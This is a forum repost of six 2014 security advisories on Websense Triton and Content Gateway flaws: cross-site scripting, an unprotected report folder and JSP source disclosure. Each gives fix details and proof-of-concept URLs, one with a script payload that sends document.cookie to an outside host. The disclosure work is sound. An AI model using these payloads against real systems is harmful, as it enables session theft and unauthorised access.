Aerosol Posted March 19, 2015 Report Share Posted March 19, 2015 Websense Content Gateway Error Message Cross Site Scripting------------------------------------------------------------------------Error messages of Websense Content Gateway are vulnerable to Cross-SiteScripting------------------------------------------------------------------------Han Sahin, September 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------It was discovered that the error messages of Websense Content Gatewayprocess user-controllable data insecurely, rendering these pagesvulnerable to Cross-Site Scripting. Cross-Site Scripting allows anattacker to perform a wide variety of actions, such as stealing thevictim's session token or login credentials, performing arbitraryactions on the victim's behalf, and logging their keystrokes.------------------------------------------------------------------------Tested versions------------------------------------------------------------------------This issue was discovered on Websense Triton v7.8.3 and Websenseappliance modules V-Series v7.7. Other versions may be affected as well.------------------------------------------------------------------------Fix------------------------------------------------------------------------This issue is resolved in TRITON APX Version 8.0. More information aboutthe fixed can be found at the following location:http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0------------------------------------------------------------------------Details------------------------------------------------------------------------https://www.securify.nl/advisory/SFY20140916/error_messages_of_websense_content_gateway_are_vulnerable_to_cross_site_scripting.htmlAn example of a vulnerable URL parameter is the admin_msg parameter. The value of this parameter is a Base64 encoded error message. It is possible to include HTML and scripting code in the message, which is used as-is in the resulting error page. An attacker can construct a specially crafted HTML response, that must be encoded using Base64 and appended to the following URL:https://<target>:8081/configure/ssl_ui/eva-config/client-cert-import_wsoem.html?admin_msg=<payload>An attacker must trick victims into opening the attacker's specially crafted link. This is for example possible by sending a victim a link in an email or instant message. Once a victim opens the specially crafted link, arbitrary client-side scripting code will be executed in the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes.Websense Reporting Cross Site Scripting------------------------------------------------------------------------Multiple Cross-Site Scripting vulnerabilities in Websense Reporting------------------------------------------------------------------------Han Sahin, September 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------It has been found that Websense Reporting is affected by multipleCross-Site Scripting issues. Cross-Site Scripting allows an attacker toperform a wide variety of actions, such as stealing the victim's sessiontoken or login credentials, performing arbitrary actions on the victim'sbehalf, and logging their keystrokes.------------------------------------------------------------------------Tested versions------------------------------------------------------------------------This issue was discovered on Websense Triton v7.8.3 and Websenseappliance modules V-Series v7.7. Other versions may be affected as well.------------------------------------------------------------------------Fix------------------------------------------------------------------------Websense released hotfix 02 for Websense Triton v7.8.4 in which thisissue is fixed. More information about this hotfix can be found at thefollowing location:http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-SolutionsThis issue is resolved in TRITON APX Version 8.0. More information aboutthe fixed can be found at the following location:http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0------------------------------------------------------------------------Details------------------------------------------------------------------------https://www.securify.nl/advisory/SFY20140914/multiple_cross_site_scripting_vulnerabilities_in_websense_reporting.htmlOne example of a vulnerable request parameter is the col. Its value is copied into the value of an HTML tag attribute; encapsulated in double quotation marks. The value echoed unmodified (without output encoding) in the application's response. This vulnerability can be reproduced using the following steps:- login into Admin GUI;- open the proof of concept below;- hover over 'Risk Class' in left corner.https://<target>:9443/explorer_wse/explorer_anon.exe?col=a86de%27onmouseover%3d%27alert%28document.cookie%29%27de90f&delAdmin=0&startDate=2014-07-31&endDate=2014-08-01An attacker must trick victims into opening the attacker's specially crafted link. This is for example possible by sending a victim a link in an email or instant message. Once a victim opens the specially crafted link, arbitrary client-side scripting code will be executed in the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes.Websense Explorer Report Scheduler Cross Site Scripting------------------------------------------------------------------------Cross-Site Scripting vulnerability in Websense Explorer report scheduler------------------------------------------------------------------------Han Sahin, September 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------It was discovered that the report scheduler of Websense Explorer isvulnerable to Cross-Site Scripting. Cross-Site Scripting allows anattacker to perform a wide variety of actions, such as stealing thevictim's session token or login credentials, performing arbitraryactions on the victim's behalf, and logging their keystrokes.------------------------------------------------------------------------Tested versions------------------------------------------------------------------------This issue was discovered on Websense Triton v7.8.3 and Websenseappliance modules V-Series v7.7. Other versions may be affected as well.------------------------------------------------------------------------Fix------------------------------------------------------------------------Websense released hotfix 02 for Websense Triton v7.8.4 in which thisissue is fixed. More information about this hotfix can be found at thefollowing location:http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-SolutionsThis issue is resolved in TRITON APX Version 8.0. More information aboutthe fixed can be found at the following location:http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0------------------------------------------------------------------------Details------------------------------------------------------------------------https://www.securify.nl/advisory/SFY20140911/cross_site_scripting_vulnerability_in_websense_explorer_report_scheduler.htmlAn attacker can schedule a report containing a specially crafted ReportName that will trigger this vulnerability. An attacker can use this issue to inject malicious JavaScript code into the output of the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes. The following proof of concept can be used to demonstrate this issue:https://<target>:9443/Websense/cgi-bin/WsCgiExplorerSchedule.exe?pageAction=confirm&KeepTrend=&rangeAll=&emailListChain=%5Ehan.sahin%40securify.nl&SchedulePage=RunWeekly&DayOfWeek=Saturday&StartHour=21&StartMinute=30&emailList=%5Ehan.sahin%40securify.nl&EmailSubject=&EmailText=&ReportName=XSS<img+src%3dx+onerror%3dthis.src%3d'https%3a//www.securify.nl/%3fc%3d'%2bdocument.cookie>&outputFormat=.pdf&DateRangeType=AllDatesWebsense Data Security Cross Site Scripting------------------------------------------------------------------------Cross-Site Scripting vulnerability in Websense Data Security block page------------------------------------------------------------------------Han Sahin, September 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------It was discovered that the Websense Data Security block page processesuser-controllable data insecurely, rendering the block page isvulnerable to Cross-Site Scripting. Cross-Site Scripting allows anattacker to perform a wide variety of actions, such as stealing thevictim's session token or login credentials, performing arbitraryactions on the victim's behalf, and logging their keystrokes.------------------------------------------------------------------------Tested versions------------------------------------------------------------------------This issue was discovered on Websense Triton v7.8.3 and Websenseappliance modules V-Series v7.7. Other versions may be affected as well.------------------------------------------------------------------------Fix------------------------------------------------------------------------This issue is resolved in TRITON APX Version 8.0. More information aboutthe fixed can be found at the following location:http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0------------------------------------------------------------------------Details------------------------------------------------------------------------https://www.securify.nl/advisory/SFY20140910/cross_site_scripting_vulnerability_in_websense_data_security_block_page.htmlIn order to exploit this vulnerability a valid ws-session is required. The payload has to be Base64 encoded, submitted to the block page via the ws-encdata URL parameter. For example, the following parameters can be submitted to the block page.ws-session=18446744072585574752&ws-userip=1.2.3.4--><iframe>0&ws-cat=76&ws-reason=1029The above parameters must then be encoded with Base64 and appended to the following URL:http://<target>:15871/cgi-bin/moreBlockInfo.cgi?ws-encdata=<payload>An attacker must trick victims into opening the attacker's specially crafted link. This is for example possible by sending a victim a link in an email or instant message. Once a victim opens the specially crafted link, arbitrary client-side scripting code will be executed in the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes.Websense Explorer Missing Access Control------------------------------------------------------------------------Missing access control on Websense Explorer web folder------------------------------------------------------------------------Han Sahin, September 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------It was discovered that no access control is enforced on the explorer_wsepath, which is exposed through the web server. An attacker can abusethis issue to download any file exposed by this path, including securityreports and Websense Explorer configuration files.------------------------------------------------------------------------Tested versions------------------------------------------------------------------------This issue was discovered on Websense Triton v7.8.3 and Websenseappliance modules V-Series v7.7. Other versions may be affected as well.------------------------------------------------------------------------Fix------------------------------------------------------------------------This issue is resolved in TRITON APX Version 8.0. More information aboutthe fixed can be found at the following location:http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0------------------------------------------------------------------------Details------------------------------------------------------------------------https://www.securify.nl/advisory/SFY20140909/missing_access_control_on_websense_explorer_web_folder.htmlWhen a scheduled report has run, the report file is sent to recipients as an email attachment. Scheduled reports are also saved within explorer_wse, which is accessible for unauthenticated users. This vulnerability allows unauthenticated (proxy) users to download resources from the Websense reporting folder. Including confidential Web Security incidents reports Websense Explorer configuration files. For example:https://<target>:9443/explorer_wse/Other/1407992150/Securify_1407992150.xlshttps://<target>:9443/explorer_wse/websense.iniWebsense Triton Source Code Disclosure------------------------------------------------------------------------Source code disclosure of Websense Triton JSP files via double quotecharacter------------------------------------------------------------------------Han Sahin, September 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------Websense Triton is affected by a source code disclosure vulnerability.By appending a double quote character after JSP URLs, Websense willreturn the source code of the JSP instead of executing the JSP. Anattacker can use this issue to inspect parts of Websense's source codein order to gain more knowledge about Websense's internals.------------------------------------------------------------------------Tested versions------------------------------------------------------------------------This issue was discovered on Websense Triton v7.8.3 and Websenseappliance modules V-Series v7.7. Other versions may be affected as well.------------------------------------------------------------------------Fix------------------------------------------------------------------------Websense released hotfix 02 for Websense Triton v7.8.4 in which thisissue is fixed. More information about this hotfix can be found at thefollowing location:http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-SolutionsThis issue is resolved in TRITON APX Version 8.0. More information aboutthe fixed can be found at the following location:http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0------------------------------------------------------------------------Details------------------------------------------------------------------------httpa://www.securify.nl/advisory/SFY20140907/source_code_disclosure_of_websense_triton_jsp_files_via_double_quote_character.htmlBy appending a double quote character after JSP URLs, Websense will return the source code of the JSP instead of executing the JSP. For example:https://<target>:9443/triton/login/pages/certificateDone.jsp%22Information disclosure vulnerabilities aid attackers trying to compromise the web application. Quote Link to comment Share on other sites More sharing options...
